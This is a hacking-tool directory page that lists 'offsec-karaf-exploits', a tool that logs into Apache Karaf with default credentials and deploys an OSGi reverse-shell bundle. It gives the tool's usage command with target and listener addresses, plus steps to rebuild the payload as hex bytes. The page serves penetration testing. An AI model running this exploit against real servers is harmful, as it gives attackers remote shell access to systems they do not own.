Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
offsec-karaf-exploits — Exploit Apache Karaf with default credentials to deploy OSGi reverse shell payload for remote shell access. | Kitploit
Tools/GitHubGitHub/visionspacetec/offsec-karaf-exploits
ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubvisionspacetec/offsec-karaf-exploits

offsec-karaf-exploits

Exploit Apache Karaf with default credentials to deploy OSGi reverse shell payload for remote shell access.

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
2142 years agoNot yet reviewed
Share

offsec-karaf-exploits

Usage:

root@kitploit:~
python exploit.py --help

Example:

root@kitploit:~
python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf

Rebuild Payload

Setup Felix Framework

  1. Create the lib directory
root@kitploit:~
mkdir -p ./revshell/lib
  1. Download Felix Framework 7.0.5
  2. Extract the zip archive
  3. Copy the org.apache.felix.main.distribution-7.0.5/bin/felix.jar to
./revshell/lib/felix.jar

Generate Activator Class

root@kitploit:~
cd revshell/bundle
javac -d ../classes -cp ../lib/felix.jar com/visionspace/osgi/revshell/Activator.java

Get Hex Values

Hex values make up the reverse shell in the exploit

root@kitploit:~
./class_to_payload.py revshell/classes/com/visionspace/osgi/revshell/Activator.class

Resources

Felix Framework

Download Tool